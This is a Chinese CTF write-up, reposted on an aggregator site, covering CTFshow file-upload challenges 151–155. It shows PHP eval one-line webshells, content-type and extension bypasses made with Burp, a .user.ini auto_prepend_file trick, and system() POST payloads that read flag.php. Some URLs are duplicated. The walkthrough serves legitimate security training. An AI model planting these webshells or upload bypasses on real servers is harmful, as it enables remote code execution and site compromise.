CTFshow之文件上傳web入門151關-161關解密。包教包會!!!!

?

這段時間一直在搞文件上傳相關的知識,正好把ctf的題目做做寫寫給自字做個總結!

不過有一個確定就是所有的測試全部是黑盒測試,無法從代碼層面和大家解釋,我找個時間把upload-labs靶場做一做給大家講講白盒的代碼審計

一、實驗準備

1.ctf網站:

www.ctf.show

2.工具:

burpsuite抓包工具、hackbar工具(如果大家沒有可以私我)、firefox(火狐瀏覽器)

二、實驗過程

(一)第151關 -- 前端驗證

前提:我們已知此處可以上傳圖片類型文件

對于前端驗證,我們常用的有兩種方法進行繞過:

1.在右鍵檢查->設置處啟用禁止js

不過此方法建議使用雖然我們有時候能夠繞過,但是當此網頁含有大量使用js編寫的代碼時,會導致網頁部分功能癱瘓!汗顏,ctf也失效了,所以還是老老實實使用第二種方法

2.將后門以.jpg/.png/.gif等允許格式發送,使用bp抓包修改后綴

上傳成功!

但是此時可能會有小可愛問吶:哎哎哎,你咋知道就是前端驗證呢?說出你的證據!

我們右鍵查看網頁源碼,查看到js源碼過濾邏輯,只允許我們上傳.png文件

3.利用后門文件

一句話木馬,上下兩種無論帶不帶引號均可以:

<?php @eval($_POST['ws'])?>

<?php @eval($_POST[ws])?>

此時我們存在兩種方法(此處我們統一使用第2中方法):

(1)通過蟻劍連接尋找flag文件

payload:

https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/upload/1.php

連接密碼(因人而異):

ws

(2)直接通過hackbar發post包利用system()函數執行

post data:ws=system("ls ../");

post data:ws=system("tac?../flag.php");

成功!

(二)第152關 -- 不嚴謹的后端驗證

1.上傳后門及分析

此處考察我們content-type驗證為:image/png、image/gif、image/jpg

傳輸正確文件抓包,content-type為image/pnf

發送一句話木馬,修改content-type值為:image/png,此處注意一下,我直接上傳.php文件發現無法通過,定睛一看才發現前端驗證還沒關,汗顏!上傳1.png的木馬

上傳成功!

2.利用后門

與151關類似,我們使用第二種方法,通過hackbar直接發包利用函數的方式獲取flag

payload:

https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.phphttps://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php

post data:ws=system('ls ../');

post data:ws=system("tac ../flag.php");

成功!

(三)第153關 -- 利用php中.user.ini文件進行解析

我們嘗試使用151關和152關的思路進行解題,發現無法實現,繼而想到后端是否過濾大小寫,抓包后將1.png文件改成1.pHp,發現能夠上傳成功,但是無法利用

突然崩潰,但是!.user.ini文件出現了,正如apache服務中的.htaccess文件!

1. .user.ini文件特性

當網站進行掃描時,會將.user.ini文件指向路徑內容包含在首頁代碼處(如index.php、index.html等),使用參數auto_prepend_file(包含至首頁文件頭部)和auto_append_file(包含在首頁文件尾部)進行配置

例如:auto_prepend_file=1.png //將1.png文件內容包含在首頁文件中,“=”后緊跟需要包含文件路徑

所以,本題的解題思路:

先將.user.ini文件上傳至upload目錄處,并且在其中寫入auto_prepend_file=1.png,緊接著上傳1.png格式一句話代碼,最后訪問payload即可

2.上傳.user.ini文件(使用bp中repaeater重發器功能進行上傳)

內容:auto_prepend_file=1.png

上傳成功

3.上傳1.png格式一句話木馬

上傳成功!

4.利用

首先訪問..upload/index.php觸發.ujser.ini文件將1.png內容寫入index.php

paylaod:https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.phphttps://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php

其次,操作如上述兩關


https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php(四)第154關 -- 內容過濾

執行思路如153關,但是在上傳1.png文件時注意所過濾的內容

1.上傳.user.ini文件

(具體不在進行演示與上述153關相同)

2.上傳1.png木馬文件尋找過濾內容

過濾內容:php

經過多次嘗試發包,當文件內容不包含php字眼時可以上傳成功,所以過濾內容為php

所以我們的問題變成如何在不寫入php字眼時傳入后門?提供方式如下:

paylaod:<?=eval($_POST['ws']);?>

上傳成功

3.利用后門

是騾子是馬我們拉出來遛一遛,進行前述關卡利用操作

首先訪問首頁文件觸發.user.ini將1.png內容寫入,觸發后門

payload:https://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(五)第155關 -- 內容過濾

整體思路與154關一樣,只是過濾內容不一樣,所以我們此關著重關注測試所過濾的內容!

1.上傳.user.ini文件

內容:auto_prepend_file=1.png

2.測試過濾內容

發現僅僅去掉php即可成功發送(媽呀,那不是直接和154關一樣啦!)

過濾內容:php

paylaod:<?=eval($_POST['ws']);?>

3.利用(與154一致)

訪問../upload/index.php觸發->尋找flag.php文件所在位置->查看flag.php文件內容

成功!

先寫到這,明天繼續!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/13560.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/13560.shtml
英文地址,請注明出處:http://en.pswp.cn/web/13560.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2024-5-23 石群電路-14

2024-5-23&#xff0c;星期四&#xff0c;22:20&#xff0c;天氣&#xff1a;晴&#xff0c;心情&#xff1a;晴。今天沒有什么重要的事情發生&#xff0c;心情一如既往的平靜&#xff0c;距離返校假期還有兩天~~~。 今天觀看了石群老師電路基礎課程的第23/24個視頻&#xff0…

Flutter 中的 AnimatedThere 小部件:全面指南

Flutter 中的 AnimatedThere 小部件&#xff1a;全面指南 在Flutter中&#xff0c;動畫是增強用戶體驗的強大工具。雖然Flutter沒有一個名為AnimatedThere的官方小部件&#xff0c;但我們可以根據常見的動畫模式來構建一個類似的自定義動畫效果。本文將指導您如何使用Flutter的…

Python 安裝 ONNX Runtime (ORT)

1. Python 安裝 ONNX Runtime 安裝cpu版的 onnx runtime&#xff1a; pip install onnxruntime 安裝gpu版的 onnx runtime&#xff08;cuda 11.x&#xff09;&#xff1a;(默認安裝適用于cuda 11.8 的onnx runtime) pip install onnxruntime-gpu 安裝gpu版的 onnx runtime…

真實案例分享,終端pc直接telnet不到出口路由器。

1、背景信息 我終端pc的網卡地址獲取的網關是在核心交換機上&#xff0c;在核心交換機上telnet出口路由器可以實現。 所有終端網段都不能telnet出口路由器&#xff0c;客戶希望能用最小的影響方式進行解決。 2、現有配置信息 終端的無線和有線分別在兩個網段中&#xff0c;…

【課后練習分享】Java用戶注冊界面設計和求三角形面積的圖形界面程序

目錄 java編程題&#xff08;每日一練&#xff09;&#xff1a; 問題一的答案代碼如下&#xff1a; 問題一的運行截圖如下&#xff1a; 問題二的答案代碼如下&#xff1a; 問題二的運行截圖如下&#xff1a; java編程題&#xff08;每日一練&#xff09;&#xff1a; 1.…

大數據量MySQL的分頁查詢優化

目錄 造數據查看耗時優化方案總結 造數據 我用MySQL存儲過程生成了100多萬條數據&#xff0c;存儲過程如下。 DELIMITER $$ USE test$$ DROP PROCEDURE IF EXISTS proc_user$$CREATE PROCEDURE proc_user() BEGINDECLARE i INT DEFAULT 1;WHILE i < 1000000 DOINSERT INT…

【安裝筆記(目錄)】

安裝筆記-系列文章目錄 第一章 Windows 工具 [1001] Optimizer &#xff1a;一款高級配置實用工具&#xff0c;旨在增強你在Windows上的隱私和安全性。 [1002] WSL2&#xff1a;適用于 Linux 的 Windows 子系統 (WSL) 可讓開發人員直接在 Windows 上按原樣運行 GNU/Linux 環境…

力扣226.翻轉二叉樹101.對稱二叉樹

解決二叉樹的問題&#xff0c;經常要習慣從遞歸角度思考 左子樹/右子樹是否具備某屬性、是否屬于什么類型&#xff08;和題目要求的判斷當前樹是否xxx一樣&#xff09;&#xff1b; 對左/右子樹進行什么操作&#xff08;和題目要求的對當前樹的操作一樣&#xff09;。 226.翻轉…

提權方式及原理匯總

一、Linux提權 1、SUID提權 SUID&#xff08;設置用戶ID&#xff09;是賦予文件的一種權限&#xff0c;它會出現在文件擁有者權限的執行位上&#xff0c;具有這種權限的文件會在其執行時&#xff0c;使調用者暫時獲得該文件擁有者的權限。 為可執行文件添加suid權限的目的是簡…

解決SpringBoot使用@Transactional進行RestTemplate遠程調用導致查詢數據記錄為null的bug

開啟事務過程中&#xff0c;如果遠程調用查詢當前已經開啟但沒有提交的事務&#xff0c;就會查不到數據。 示例代碼 import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.transaction.annotation.Transactional; import o…

二叉樹求解大小操作詳解

目錄 一、求所有結點個數 1.1 遞歸思路 1.2 遞歸分支圖 1.3 遞歸棧幀圖 1.4 C語言實現 二、求葉子結點個數 2.1 遞歸思路 2.2 遞歸分支圖 2.3 遞歸棧幀圖 2.4 C語言實現 三、求第K層的結點個數 3.1 遞歸思路 3.2 遞歸分支圖 3.3 遞歸棧幀圖 3.4 C語言實現 四、求…

【python】使用函數名而不加括號是什么情況?

使用函數名而不加括號通常是為了表示對函數本身的引用&#xff0c;而不是調用函數。這種用法通常出現在下面這幾種情況&#xff1a; 作為回調函數傳遞&#xff1a;將函數名作為參數傳遞給其他函數&#xff0c;以便在需要時調用該函數。例如&#xff0c;在事件處理程序或高階函數…

馮喜運:5.24現貨黃金趨勢解讀,黃金原油行情分析及操作建議

【黃金消息面分析】&#xff1a;美國勞工部公布的最新數據顯示&#xff0c;截至5月18日的一周內&#xff0c;首次申請失業救濟人數下降至21.5萬人&#xff0c;創下自去年9月以來的最大降幅。數據公布后&#xff0c;現貨黃金短線下挫6美元&#xff0c;報2362.71美元/盎司。這表明…

2024受歡迎的便簽app是哪個

在繁忙的工作和生活中&#xff0c;便簽app成為了我們不可或缺的小助手。2024年&#xff0c;隨著人們對高效工作和生活品質的追求&#xff0c;選擇一款功能強大且用戶友好的便簽app顯得尤為重要。在眾多選擇中&#xff0c;敬業簽以其出色的記錄與提醒功能&#xff0c;脫穎而出&a…

前端發版如何告知用戶

在具體項目場景中&#xff0c;前端發版后&#xff0c;用戶不手動刷新&#xff0c;則感知不到更新&#xff1b;經常會出現&#xff1a;前端更新了某個功能&#xff0c;導致舊功能使用出現問題&#xff0c;而被用戶提單&#xff1b; 關于這個問題有多種解決方式&#xff1a; We…

Python知識詳解【1】~{正則表達式}

正則表達式是一種用于匹配字符串模式的文本工具&#xff0c;它由一系列普通字符和特殊字符組成&#xff0c;可以非常靈活地描述和處理字符串。以下是正則表達式的一些基本組成部分及其功能&#xff1a; 普通字符&#xff1a;大多數字母和數字在正則表達式中表示它們自己。例如…

指針,指針變量,引用,取地址符,malloce()函數使用,C中“—>” 和“ . ” 作用與區別

目錄 一&#xff1a;指針,指針變量&#xff0c;引用&#xff0c;取地址符&#xff1a; 前提 &#xff1a; 1.“ * ” 的兩種用途 2." & “的兩種用途 2.1&#xff1a;引用 2.2&#xff1a;取地址 補充&#xff1a; 二 : malloc(),動態申請地址空間 1.原型定義…

Dubbo生態之初識dubbo協議

1.RPC框架 在java的發展中&#xff0c;隨著業務的越來越龐大&#xff0c;單體架構的工作繁瑣且耦合度高&#xff0c;因此單體架構過渡到了分布式架構&#xff0c;而分布式架構就必然涉及到各個服務之間的遠程通信(RPC框架)&#xff0c;RPC框架如圖所示: 工作流程: a.客戶端調…

查看當前Shell系統環境變量

查看當前Shell系統環境變量 查看命令 env效果 查看Shell變量(系統環境變量自定義變量函數) 命令 set效果 常用系統環境變量 變量名稱含義PATH與windows環境變量PATH功能一樣&#xff0c;設置命令的搜索路徑&#xff0c;以冒號為分割HOME當前用戶主目錄&#xff1a;/rootSH…

有道:一季度業績超市場預期,生成式AI商業化落地進程加快

5月23日&#xff0c;教育科技公司網易有道&#xff08;NYSE&#xff1a;DAO&#xff09;公布了2024年第一季度未經審計的財務報告。報告期內&#xff0c;受益于“AI”加“教育”雙輪驅動&#xff0c;業績表現超市場預期&#xff0c;業務健康度大幅改善。 財報顯示&#xff0c;…